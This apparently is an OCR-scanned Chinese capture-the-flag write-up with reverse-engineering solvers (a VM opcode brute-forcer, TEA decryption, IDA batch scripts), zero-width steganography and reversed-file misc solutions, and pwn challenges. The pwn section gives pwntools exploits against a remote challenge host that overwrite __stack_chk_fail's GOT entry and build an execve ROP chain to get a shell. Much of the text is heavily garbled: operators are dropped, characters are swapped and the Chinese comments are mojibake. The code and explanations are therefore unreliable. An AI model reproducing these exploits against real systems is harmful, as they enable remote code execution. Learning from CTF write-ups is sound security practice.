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import string

# FQD{GfjuJ5UbLrWjZjpvErXkiAZzLv00xTa!cwnLLAsy3BO1EVEY }
'zyxwvutsrgponmlkjihgfedcba’
'TaQini'
'"#BID{test} FQD{gizt}
'FQD{GfjuJ5UbLrWjZjpvErXkiAZz1vO0xTa!cwnLLAsy3BOiEVEyY}"

if num 0x60 num ox7a:

ret num ox61

#print "check", ret

return ret

if num 0x40 num ox5a:

#print "checR", num

return num
#print "check", ((num-6x41) ~ OxFFFFFF80)-0x100000000
return ((num-0x41) OXFFFFFF80) -0x100000000

key_pos (%]

for i in range(len(ans)):

for t_flag in string.printable:
t_key_pos key_pos
tmp = check(t_flag)
#print tmp

if tmp==ord(t_flag):
if t_flag ans[i]:
flag t_flag
print flag
break

continue

tmp2 = check(key2[t_key pos&5])
t_key_pos 1

#print tmp2

if tmp 9:

pos (tmp2&0x7f)+tmp

if ans[i] key[pos%26] :
flag t_flag
print flag
key _pos = t_key pos
break

else:

pos (tmp28&0x7F)+128+tmp
if ans[i] chr(ord(key[pos%26])-0x20) :
flag t_flag
print flag
key pos = t_key pos




B BEERT:

std::  cxx1l::basic_string<char,std::char_traits<char>,std::
changel(( EAV&v13, ( inted)&vld);

std: :_cxmn*ing«:har, std::char_traits<char>,std:
std::  cxx11::basic_string<char,std::char_traits<char>,std:
std::__cxx11::basic_string<char,std::char_traits<char>,std:
std::  cxx11::basic_string<char,std::char_traits<char>,std::

change2((__int64)&v14, (__int64)&v13);

std::_!i§:11::basic_string<char,5td::char_trait5<char>,5td:
std::__c®11::basic_string<char,std::char_traits<char>,std:
std::  cxx1l::basic_strghg<char,std::char_traits<char>,std:
std::  cxx11::basic_{ffring<char,std::char_traits<char>,std:
v8 = (unsigned int)vm({{ inte4)&v14, ( inted)&vls, @) != @;
std::  cxx11::basic_string<char,std::char_traits<char>,std::
if ( vE )

vl = std::onerator<<<std: :char traits<chars>(

change1: 341 N ¥ -5 4 I AT 161 /5 163853 32 #:
change2:F FITKBRES R, HEAT PIIRIRSS
vz R R AR ) B AR B4R

allocator<char>>:

:allocator<char>>:
:allocator<chars>:
:allocator<char>>:
allocator<chars>>:

:allocator<chars>>:
:allocator<char>»>:
:allocator<char>>:
:allocator<char>»>:

allocator<char>>:

:basic_string(&v14, &v12);

soperator=(&v12, &v13);
:~basic_string(&vi3);
:~basic_string(&v14);
:basic_string(&v13, &v12);

soperator=(&v12, &vid);
:~basic_string(&v14);
:~basic string(&vlz);
:basic_string(&v14, &v12);

:~basic_string(&v14);
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015D3 C7 85 BO FE FF FF @1 00 00 00 mov [rbp+var_150], 1
2015DD C7 85 B4 FE FF FF ©2 00 00 00 mov [rbp+var_14C], 2
PO15E7 C7 85 BS FE FF FF ©3 00 00 00 mov [rbp+var_148], 3
P015F1 C7 85 BC FE FF FF @4 00 00 00 mov [rbp+var_144], 4
P015FB C7 85 (@ FE FF FF 13 00 00 00 mov [rbp+var_140], 13h
201605 C7 85 C4 FE FF FF 1F 00 00 00 mov [rbp+var_13C], 1Fh
P0160F C7 85 C8 FE FF FF 19 0@ 00 00 mov [rbp+var_138], 19h
201619 C7 85 CC FE FF FF OF 00 00 00 mov [rbp+var_134], @th
901623 C7 85 DO FE FF FF 17 00 00 00 mov [rbp+var_130], 17h
20162D C7 85 D4 FE FF FF 21 00 00 00 mov [rbp+var_12C], ;o
901637 C7 85 D8 FE FF FF @D 0@ 00 00 mov [rbp+var_128], @Dh
201641 C7 85 DC FE FF FF @9 00 00 00 mov [rbp+var_124], 9
90164B C7 85 E@ FE FF FF 18 00 00 00 mov [rbp+var_120], 18h
01655 C7 85 E4 FE FF FF @6 00 00 00 mov [rbp+var_11C], 6
P0165F C7 85 E8 FE FF FF 1A 00 00 00 mov [rbp+var_118], 1Ah
901669 C7 85 EC FE FF FF 22 00 00 00 mov [rbp+var_114], ;o
901673 C7 85 FO FE FF FF 11 00 00 00 mov [rbp+var_110], 11h
90167D C7 85 F4 FE FF FF @A 00 00 00 mov [rbp+var_16C], ©Ah
201687 C7 85 F8 FE FF FF @3 00 00 00 mov [rbp+var_108], 8
901691 C7 85 FC FE FF FF 1D 00 00 00 mov [rbp+var_164], 1Dh
201698 C7 85 @0 FF FF FF @C 00 00 00 mov [rbp+var_160], @Ch
P016A5 C7 85 @4 FF FF FF @F 00 00 00 mov [rbp+var _FC], @Fh
PO16AF C7 85 @8 FF FF FF 16 00 00 00 mov [rbp+var _F8], 16h
2016B9 C7 85 @C FF FF FF @B 00 00 00 mov [rbp+var F4], @Bh
A16C3 C7 B5 108 FF FF FF 12 06 06 A8 mowv [rhn+var FAT. 12h
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@001745 C7 85 50 FF FF FF jp1 0@ @0 00 mov [rbp+var_B@], 1
@0O174F C7 85 54 FF FF FF 02 00 00 00 mov [rbp+var AC], 2
@001759 C7 85 58 FF FF FF ©3 00 00 00 mov [rbp+var A8], 3
9001763 C7 85 5C FF FF FF 04 00 @0 00 mov [rbp+var A4], 4
@00176D C7 85 60 FF FF FF 1F 0@ @0 00 mov [rbp+var_A@], 1Fh
@001777 C7 85 64 FF FF FF 1D 0@ @0 00 mov [rbp+var _9C], 1Dh
9001781 C7 85 68 FF FF FF @7 00 @0 00 mov [rbp+var 98], 7
9001788 C7 85 6C FF FF FF 23 00 @0 00 mov [rbp+var_94], I &
@001795 C7 85 70 FF FF FF OF 00 @0 00 mov [rbp+var 98], OEh
@0O179F C7 85 74 FF FF FF 15 0@ @0 00 mov [rbp+var_8C], 15h
@0O17A9 C7 85 78 FF FF FF @9 00 00 00 mov [rbp+var_88], 9
@0017B3 C7 85 7C FF FF FF 10 0@ @0 00 mov [rbp+var_84], 16h
@0O17BD C7 45 80 1B 00 00 00 mov [rbp+var_808], 1Bh
@0O17C4 C7 45 84 12 00 00 00 mov [rbp+var_7C], 12h
@PO17CB C7 45 88 19 00 00 00 mov [rbp+var_78], 1%h
90017D2 C7 45 8C OA 00 00 00 mov [rbp+var_74], ©Ah
@0017D9 C7 45 90 14 00 00 00 mov [rbp+var_70], 14h
PPO17E@ C7 45 94 OF 00 00 00 mov [rbp+var_6C], @Fh
@PO17E7 C7 45 98 11 00 00 00 mov [rbp+var_68], 11h
@PO17EE C7 45 9C 16 00 00 00 mov [rbp+var_64], 16h
@PO17F5 C7 45 A@ 1C 00 00 00 mov [rbp+var_608], 1Ch
@BO17FC C7 45 A4 1A 00 00 00 mov [rbp+var _5C], 1Ah
9001803 C7 45 AS 24 00 00 00 mov [rbp+var 58], ;g
POO18PA C7 45 AC 21 00 00 00 mov [rbp+var 54], .
9001811 C7 45 BO 20 00 00 00 mov [rbp+var 56], 20h : = °
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input[4]*=10
input[4] 10

input[4] 1 input[4] 4 input[4]/4 - 1
input[4] Oxa tmp 16*input[4] 31 28 input[4] 16*input[4] &Oxf




15

11 input[5] pass

1 input[5]*2 % 256 input[5]=16*(input[5]/2)
7 input[6] input[6] input[6]+128

Oxa tmp 16*input[8] 31 28 input[8] 16*input[8] &oxf
1 input[9] pass
1 input[9]*2 % 256 input[9]=16*(input[9]/2)

input[10] input[10]+128

Oxa tmp 16*input[12] 31 28 input[12] 16*input[12] &Oxf

256 input[13]=16*(input[13]/2)
input[14] input[14]+128

input[16] Oxa tmp 16*input[16] 31 28 input[16] 16*input[16] &Oxf
input[17] pass

input[17]*2 % 256 input[17]=16*(input[17]/2)
input[18] pass

input[18] input[18] input[18]+128

input[20] Oxa tmp 16*input[20] 31 28 input[20] 16*input[20] &Oxf
input[21]*2 256 input[21]=16*(input[21]/2)

input[22] pass

input[22] input[22] input[22]+128

input[23] pass

input[24] Oxa tmp 16*input[24] 31 28 input[24] 16*input[24] &Oxf
input[25]*2 % 256 input[25]=16*(input[25]/2)
input[26] input[26] input[26]+128

9

10 input[27]*4




input[28] pass

input[28] Oxa tmp 16*input[28] 31 28 input[28] 16*input[28] &Oxf
input[29] pass

input[29]*2 % 256 input[29]=16*(input[29]/2)

input[30] pass

input[30] input[30] input[30]+128

input[31]

Oxa tmp 16*input[32] 31 28 input[32] 16*input[32] &Oxf

256 input[33]=16*(input[33]/2)
input[34] input[34]+128

XA SRE LB AR I B A

addr 0x203020
ans [1]
for i in range(37):

tmp hex(Dword(addr+i*4))
print(tmp)
ans.append(tmp[:-1])

print ans

XS KBRS, RS — KA

addr = 0x1745

ans [1]

for i in range(12):
num Byte(addr+6+i*10)
print hex(num)

ans.append(num)

addr = 0x17BD
for i in range(25):
num Byte(addr+3+i*7)
print hex(num)
ans.append(num)

print ans
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import string

ans ['ex42', 'ox4a', '©Ox44', 'Ox7b', '©Ox33', 'Ox370', 'Ox46', 'Oxd4', 'oOx3c', 'Ox610', 'oOx4f', 'Oxc8', 'Ox6c’,
'0x320', 'Oxle', 'Ox190', 'ox6f', 'Ox630', 'Ox46', 'Ox190', 'Ox3b', 'oOx610', 'oxld', 'Oxc4', 'Ox3e', 'Ox660', '




Px4b', 'Oxde', 'exé6c', 'Ox310', 'oOx46', '0Ox188', 'Ox33', 'Ox370', 'Ox4c', 'Oxcc', 'Ox7d']
opcode 13,6,5,4,5,1i,1,7,9,5,3,6,16,9,5,4, il i,6,5,7,9,16,9,5 4 14 i 7,916,945 3,6,1,5,3,6,7,9,16,9, 36, 3,6,

36,4,1,5,7,9,3,6,5,10,9,4,1,7,9,10,9,5,4,5,1,5,7,9,5, 10,9, 3,6,5,4,5,11,1,7,9,5,3,6,10,9]

tablel [1, 2, 3, 4, 19, 31, 25, 14, 23, 33, 13, 9, 24, 6, 26, 34, 17, 1o, 8, 29, 12, 15, 22, 11, 18, 16, 32, 2
8, 21, 36, 20, 7, 5, 27, 30, 35, 37]

table2 = [1, 2, 3, 4, 31, 29, 7, 35, 14, 21, 9, 16, 27, 18, 25, 10, 20, 15, 17, 22, 28, 26, 36, 33, 32, 5, 8, 12
, 23, 34, 13, 30, 24, 11, 19, 6, 37]

TR BRI R AR 2
def change_flag(flag):

ans = "'

for i in range(37):

ans += flag[tablel[i]-1]
print ans

ans2 = "'
for i in range(37):

ans2 += ans[table2[i]-1]
print ans2

change flag("BJID{ghijklmnopqrstuve123456789abcdef}")

# BID{97956a02f2adec9d1abl4f44f19b9733}
def vm(flag):
#print flag
index = 4
res [1]
for i in flag:
res.append(ord(i))
#print res
#print index
for code in opcode:
#print "code:", code
if code 1:
res[index] 2
res[index] 256

res[index]
index 1
elif code
res[index]
res[index]
elif code
res[index]
index 1
elif code
res[index]
tmp (16
res[index]
index 1
elif code
res[index]
res[index]
res[index]
elif code
index 1
res[index]

elif code

16*(res[index]/2)

2:
int(res[index]
128

index)

10

OxA
res[index] 31) 28

((tmp 16 res[index])

1
4
res[index]/4
6:

int(res[index]/10)
78

OxF)




res[index]
elif code
res[index]
elif code
index
elif code
res[index]
elif code
res[index]
res[index]
elif code
index
else:
a 1
output [1]
for num in res:
output.append(hex(num))
#print output
return output

print "pos", pos
if pos 36:
break
for char in string.printable:
test[pos] char
aa ''.join(test)
res vm(aa)
if res[pos] ans[pos]:
print aa
print "right", char
pos pos 1

break
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[1, 2, 3, 4, 19, 31, 25, 14, 23, 33, 13, 9, 24, 6, 26, 34, 17, 10, 8, 29, 12, 15, 22, 11, 18, 16, 32, 2
8, 21, 36, 20, 7, 5, 27, 30, 35, 37]
table2 = [1, 2, 3, 4, 31, 29, 7, 35, 14, 21, 9, 16, 27, 18, 25, 10, 20, 15, 17, 22, 28, 26, 36, 33, 32, 5, 8, 12
, 23, 34, 13, 30, 24, 11, 19, 6, 37]

def reverse change(s):
ansl ["a' for i1 in range(37)]
for i in range(37):
ansl[table2[i]-1] s[i]
ans2 [*a' for i in range(37)]

print .join(ans1)

for i in range(37):
ans2[tablel[i]-1] ansl[i]

print ''.join(ans2)

tmp ''.join(ans2)

flag = tmp[4:-1]

flag = flag[16:] flag[:16]

flag 'BID{" flag "}

print flag

res "BID{97956a02f2adec9d1ab14f44f19b9733}"

reverse_change(res)

py2
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# Embedded file name: byte.py
import ctypes
from base64 import b64encode, b64decode

def decode():
fd open('./libc.so', 'rb")
data = fd.read()
fd.close()
fd open('./libc.so', 'wb")
fd.write(b64decode(data))
fd.close()

check():
if b64encode(pwd) "YmpkMw==": #bjd3
decode()
dl = ctypes.cdll.LoadlLibrary
lib = d1('./libc.so")
reply lib.check
reply(int(flag[:length 2], 16), int(flag[length 2:], 16), int(pwd.encode('hex"'), 16))
print 'your input is BID{%s}' flag.decode( 'hex")
else:

print ‘your password is wrong!'

if _ _name__ '__main__":

print ‘Please input your flag:*'

flag = raw_input()

flag = flag.encode( 'hex")

length = len(flag)

print ‘Please input your password:'
pwd raw_input ()

check()

libc.sofibaseb4 N T, BATFEFF W LA H SR %E



import ctypes
from baseéd import bédencode, béddecods

def decode () :
fd = open('./libc.so', 'rb'")
data = f£d.read() o~~~
fd.close ()
fd = cpen('./libc.soc', 'wb')
fd.write (béddecods (data))
fd.close ()

AmF Al T -

XA BB 51 i % flag

Ly wliew—s el U FSEUUQCOLIET & Eadl H=l Ll oEUUV L ULE D el W ODLIICOYRL DESUL LS L L= nIex v
unsigned  int6d4  fastcall code(unsigned  int6d *al, QWORD *a2)

signed  inted v2; // rax

unsigned _ int6d result; // rax

unsigned  int64 v4; // [rsp+18h] [rbp-48h]
unsigned  int64 v5; // [rsp+20h] [rbp-48h]
__inted ve; ff [rsp+28h] [rbp-38h]

signed  inted v7; // [rsp+326h] [rbp-30h]

L

2

3

1

3

3

7

3

3

3 vd = *al;

Il v5 = al[1];
2| vb = 8LL;

i w7 o= 32LL;
1 while ( 1)
)| A

3 v2 = v7/--;

7 if ( w2 )

3 break;

3 vE += Bx9E3779BOLL;

] vd += (v5 + vB) ™~ (16 * v5 + *a2) ~ ((v5 >» 5) + a2[1]);

| v 4= (v4 + vB) M (16 * v4A + a2[2]) ™ ((v4 »> 5) + a2[3]);
2|}

| *al = vd4;

1l result = v5;

3| al[l1l] = v5;

3| return result;

7

Fifind_crypt& T —TF, RILTEAME

H=] 1o wiew o o M=l seuuv e B H=ll oeuuu e L e WO LLUANL FROL LSO LD = LA vLew L o L O Ll

Address Rules file Name String Value
) TEA_DELTA_R74 e

X
vid = al;
code(({__inte4d)&v3, (__ into4d)&vid);
if ( v3 == _ PAIR_ (©xD760262509C2F6DOLL, @xAFIDS69B6947017DLL) )

puts(“you win!"});
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ttinclude<stdio.h>
#tinclude<string.h>

void DecryptTEA(unsigned long long *firstChunk, unsigned long long *secondChunk, unsigned long long* key)
{

unsigned long long 9;

unsigned long long vy firstChunk;

unsigned long long z secondChunk;

unsigned long long delta 0x9e3779b9;

sum = delta 5; //328EH, FrUB2HI5 K7 16 IEH, ATLIE2/94K77; 8#iEH, ArLl&2/1934K 7

for (int i = @; i < 32; i++) //32#EH
{
(y 4) + key[2] 'y + sum " (y 5) + key[3];
(z 4) key[@] z sum (z 5) key[1];
delta;

firstChunk = y;
secondChunk z;
printf("%11x\n%llx\n", y, z);

main(int argc, char *argv[]){
unsigned long long first;
unsigned long long second;
unsigned long long key[4];
first OxAFSD869B6947017DLL;
second OxD760262509C2F6DOLL ;
key[0] 0x62626433;

key[1] 0x62626433;

key[2] 0x62626433;

key[3] 0x62626433;

DecryptTEA(&first, &second, key);
return 9;

i85 4 L ES ASCIIE Hflag
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import subprocess

upx_path "E:\\CTF\\reverse\\BScript\\upx.exe"
file path "E:\\CTF\\reverse\\BScript\\"
for i in range(803, 804):
cmd = upx_path 'o-d ! file path + str(i)
print(cmd)
p = subprocess.Popen(cmd)
p.wait()
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#Laucher.py
# -*- coding:utf-8 -*-

def get FileSize(filePath):
fsize = os.path.getsize(filePath)

return fsize

"E:\\CTF\\reverse\\BScript\\' # LI XIFF
"E:\\CTF\\tool\\IDA 7.0\\ida.exe" # ida644#i%#
"E:\\CTF\\reverse\\BScript\\Script\\analysisl.py" # SHHIEHIHELF
"E:\\CTF\\reverse\\BScript\\Script\\analysis2.py" # SHHIEHI#EL
"E:\\Huawei\\Scripts\\ELFfile"
"E:\\CTF\\reverse\\BScript\\outputs\\"

for i in range(804):
file_path = dir_path + str(i)
output_file = output_path+str(i)
size = get_FileSize(file_path)
#print(size)
if size 48643:
cmd "{0} -LE:/CTF/reverse/BScript/logs/{1}.log -c -A -S\"{2} {3}\" {4}".format(ida64_path,
ana_filel, output_file, file path)
else:
cmd "{0} -LE:/CTF/reverse/BScript/logs/{1}.log -c -A -S\"{2} {3}\" {4}".format(ida64_path,
ana_file2, output_file, file path)
print(cmd)
p = subprocess.Popen(cmd)
p.wait()




#analysisl.py
# -*- coding:utf-8 -*-

import idautils

def analysis():
# XERSITHICHE
op_addr = 0x401616
data_addr = idc.GetOperandValue(op_addr, 1)
addr = data_addr
ansl
ans2 [1]
f open('E:\\CTF\\reverse\\BScript\\flag3.txt",
if addr 0x403040: #data
for i in range(64):
ans2.append(chr(Byte(addr+63-1i)))
ansl chr(Byte(addr+63-1i))
f.write(chr(Byte(addr+63-i)))
else:
f.write('\x00'*64)
f.close()
print ansl
print ans2

print .join(ans2)

main():

& il

idc.Wait() # ZFIDASITZ/E T HAT
analysis()
idc.Exit(0) # KHIIDA

‘ab')




#analysis2.py
# -*- coding:utf-8 -*-

import idautils

def analysis():
# XERFITHICHE
op_addr = 0x401640
data_addr = idc.GetOperandValue(op_addr, 1)
addr = data_addr
ansl
ans2 [1]
f open('E:\\CTF\\reverse\\BScript\\flag3.txt",
if addr 0x406040: #bss
f.write('\x00"'*32)
else:
for i in range(32):
ans2.append(chr(Byte(addr+i)))
ansl chr(Byte(addr+i))
f.write(chr(Byte(addr+i)))

f.close()

print ansl

print ans2

print ''.join(ans2)

main():

& il

idc.Wait() # ZFIDASTZ/ETHAT
analysis()
idc.Exit(0) # KHIIDA

‘ab')
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Y = Znajia v (V9 + a2 f 3) + 1);
for (1 =0; i < v93; ++1 )

*(_BYTE *)(4 * i + v89) = *(&3 + (unsigned _ int8)(*(_BYTE *)(3 * i + v94) > 2));
*(BYTE #*)(4 * i + 1 + v89) = *(&v3

+ ((16 * *(_BYTE *)(3 * i + v94) & 0x30 | (unsigned
*(BYTE *)(4 * i + 2 + v89) = *(&v3

__int8)((signed int)*(unsigned  int8 *)(3 * i + 1 + vo4) >> 4)) & 0x3F));

+ ((4 * *(BYTE *)(3 * i + 1 + v94) & 0x3C | (unsigned _ int8)((signed int)*(unsigned _ int8 *)(3 * i + 2 + v04) >> 6)) & Ox3F))
(BYTE *3(4 * i + 3 b v89) = ¥(&v3 + (¥(_BYTE *)(3 * i + 2 + v04) & Ox3F));
}
if ( v92 )
*(_BYTE *)(4 * i + vB9) = *(&3 + (unsigned _ int8)(*(_BYTE *)(3 * i + v04) > 2));
if ( vol )
{
*(BYTE *)(4 * i + 1 + v89) = *(&v3
+ ((16 * *(_BYTE *)(3 * i + v94) & 0x30 | (unsigned  int8)((signed int)*(unsigned  int8 *)(3 * i + 1 + vo4) »> 4)) & @x3F));
*(BYTE *)(4 * i + 2 + v89) = *(&v3 + (4 * *(_BYTE *)(3 * i + 1 + v94) & @x30));
¥
else
X(CBYTE *)(4 * i + 1 + v89) = *(&3 + (16 * *(_BYTE *)(3 * i + v94) & 6x30));
*(_BYTE *)(4 * i + 2 + v39) = B1;
Flida python#Z B — T 45 &

in range(0x15):
Byte(addr+6+7*1i)
chr(num)

Ox401A32

in range(0x13):
Byte(addr+6+7*1i)
chr(num)

ans
base64.b64decode(ans)

B 3flag

QkpEe1doT3RFNF9iYWV1dDFmdTFfc2NybHBOFQAA
BID{WhOt_4 baeutlful_scrlpt}|

Misc
Questionnaire

F12EFFL, KNER

v<script type="text/javascript” nonce
var FB_PUBLIC_LOAD_DATA_ = [null,["Let's see how well you know our Capital.",[[1790362738,"What is the name of
this university?",null,®,[[336510603,null,@,null,[[4,302,["Beijing Institute of Technology|BIT"]
,'d41d"]
]

REWMAEHNE RS Eniirfag, HEERAREKfag

babyweb



¥ <p class="container” id="ZipPass is here: == $0
"Pass&i#8203;&#8203;&#8203;&#8203 ;& 1m; &r1m;&zw];&#8203 ;#8203 &#8203 ; &#8203;&r1lm; &#8203;&zwnj; &#8203;&#8203 ; &#820
3;&#8203;&r1lm; &zwj ; &r1m;&#8203 ; &#8203; &#8203;&#8203;&rlm;&zw] ; &zwn]; &#8203; &#8203 ;&#8203; &#8203 ;&r1lm; &1 rm; & 1m;&#
8203 ;8#8203;8#8203;&#8203;&r1m; &zwnj; &#8203 ;&#8203 ; &#8203 ; &#8203 ; &#8203 ; &r1lm; &#8203 ; &#8203 ; 8&#8203 ; &#8203 ; 8#8203; &
#8203;&r1m; &1rm; &zwnj; &#8203;&#8203;&#8203; &#8203 ;& 1m;&#8203;&r1m;&#8203;8&#8203;&#8203;&#8203;&1rm; & 1m;&r1m; &#8
203 ;&#8203;&#8203; &#8203 ;&r1lm; &#8203 ; &r1lm; &#8203 ; &#8203; &#8203 ; &#8203;&1rm; &rlm; &zwj ; &#8203 ; &#8203 ; &#8203 ; &#8203;
&rlm;&zwj; &r1m; &#8203 ; &#8203;&#8203;&#8203;&1rm; &r1m;&zw]; &#8203;&#8203;&#8203 ; &#8203 ;&1rm; &r1m;&r1m; &#8203 ; &#820
3;8#8203;8&#8203; & 1m;&1rm;&zwn]j; &#8203 ;&#8203 ;&#8203;&#8203;&r1m;&#8203; &zwnj;&#8203;&#8203 ;#8203 ; &#8203;&r1m; &z
wj;&rlm;&#8203 ;#8203 ; &#8203; &#8203;&rlm;&1rm; &#8203 ;&#8203;&#8203 ;&#8203;8#8203;&rlm;&zwnj; &#8203;8#8203;&#8203;
&#8203;&#8203;&r1m;&zw];&#8203;&#8203;8&#8203;&#8203,;8#8203;&r1m;&1rm;&1rm;&#8203;&#8203 ; &#8263,&#8203 ;& 1m; &zwn];

EIE:  (ERAN LEEEpython3 A4 e EBR, IN#Epython24 B BR)

W 7T Password_is_here 4, BIAIT:

import zwsp_steg
print(zwsp_steg.decode("Pass

word_is_here"))

2er0w1dthcharacter51nv151b1e

R PR I 4 6 B R R L T ) AR R
REREE S, HEREbytel MK, WE RS2 IEH KB A

open("f14g.png"
content = f.read()
f.close()
content content[::
f = open("flag.png"
f.write(content)
f.close()

BID{@&®TN Y X F&
FTEZE&HS8EAE

—ICH BT WAFRF, AR A

}


https://github.com/enodari/zwsp-steg-py
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https://blog.csdn.net/weixin_44145820/article/details/106326355

from pwn import

7 remote("183.129.189.60", 10075)
#context.log Level = 'debug'

code """#include<stdio.h>
#tinclude<stdlib.h>

{e};
{e};

c, 0x50);

r.sendline(code)

r.interactive()

8 _stack_chk_fail FIGOTHCN)ETTREL, ¥t & canaryBl AT

from pwn import

r = remote("183.129.189.60", 10081)
context.log level 'debug'’

system 0x40124A

finit Ox403E18

stack_fail 0x404028

.recvuntil("addr:")
.send(p64(stack_fail)+'a'*0x80)
.recvuntil("data:")

.send(p64(system))

.interactive()

8 _stack_chk_fail FIGOTHEC AmMaink#, XFEHAE—EIEI
RIEIEputs KIS E B N/bin/sh, putsfIGOTH Asystem



from pwn import

r remote("183.129.189.60", 10100)
context.log level 'debug’

system 0x410590

finit 0x4B80B0

stack fail 0x4BBO58
main 0x401C1D
puts_got 0x4BBOCO
bin_sh 0x4BB100

sh 0x006873216e69622f

.recvuntil("addr:")
.send(p64(stack_fail)+'a'*0x80)
.recvuntil("data:")
.send(p64(main))

.recvuntil("addr:")
.send(p64(bin_sh)+'a'*0x80)
.recvuntil("data:")
.send('/bin/sh\x00")

.recvuntil("addr:")
.send(p64(puts_got)+'a'*0x80)
.recvuntil("data:")
.send(p64(system))
.interactive()

8 _stack_chk_fail FIGOTH AmMaink$, XL —EIEH
R JEIEROPchainZB & bssE E
BEFAH—AEE A gadgetE 5 stack_chk_fail KIGOT:

va4a4Es 2 jnz 10C_493R50
PR4RABAS add rsp, 168h
00404BA4F pop rbx
P040AB50 pop rbp
Pe404B51 pop ri2
PB404B53 pop ri3
PB404B55 pop ri4
PR404B57 pop ril5
00404859 retn

alion 26h

XEErspEt 2 TR B BATMEMA N, FHHIX/Ngadgetic 7] LAz Hrbp, FEretth Sleaveffidbht, FIF &2 2B ATHIROPCchain

from pwn import

r remote("183.129.189.60", 10016)
#r = process("./Memory_Monster III")

gdb.attach(r,

b *0x404B48
C

)




context.log level 'debug’

#system = 0x410590
finit = Ox4B50BO
stack fail 0x4B8058
0x401C1D
puts_got 0x4B80CO
buf = 0x4B8100 + 8
bin_sh buf + 0x200
sh = 0x0068732f6e69622f
pop_rdi 0x401746
pop_rsi = 0x406170
pop_rdx_rsi 0x44abo9
pop_rdx = 0x447635
pop_rax 0x44806¢
ret 0x401016
leave 0x401CF3
syscall 0x402504
#add _rsp = 0x401EDC
add_rsp = 0x404B48

.recvuntil("addr:")
.send(p64(stack_fail)+'a'*0x80)
.recvuntil("data:")
.send(p64(main))

.recvuntil("addr:")
.send(p64(bin_sh)+'a'*0x80)
.recvuntil("data:")
.send('/bin/sh\x00")

ROPchain = p64(pop_rdi) p64(bin_sh) p64(pop_rdx_rsi)

r.recvuntil("addr:")
.send(p64(buf)+'a'*0x80)
.recvuntil("data:")
.send(ROPchain[0:0x18])
.recvuntil("addr:")
.send(p64(buf+0x18)+"'a'*0x80)
.recvuntil("data:")
.send(ROPchain[@x18:0x30])
.recvuntil("addr:")
.send(p64(buf+0x30)+"'a'*0x80)
.recvuntil("data:")
.send(ROPchain[0x30:])

.recvuntil("addr:")

p64(0)*2

.send(p64(stack fail)+'a'*0x70+p64(buf-8)+'a’'*0x20+p64(leave))

.recvuntil("data:")
.send(p64(add_rsp))
.interactive()

p64(pop_rax)

p64(0x3b)

p64(syscall)
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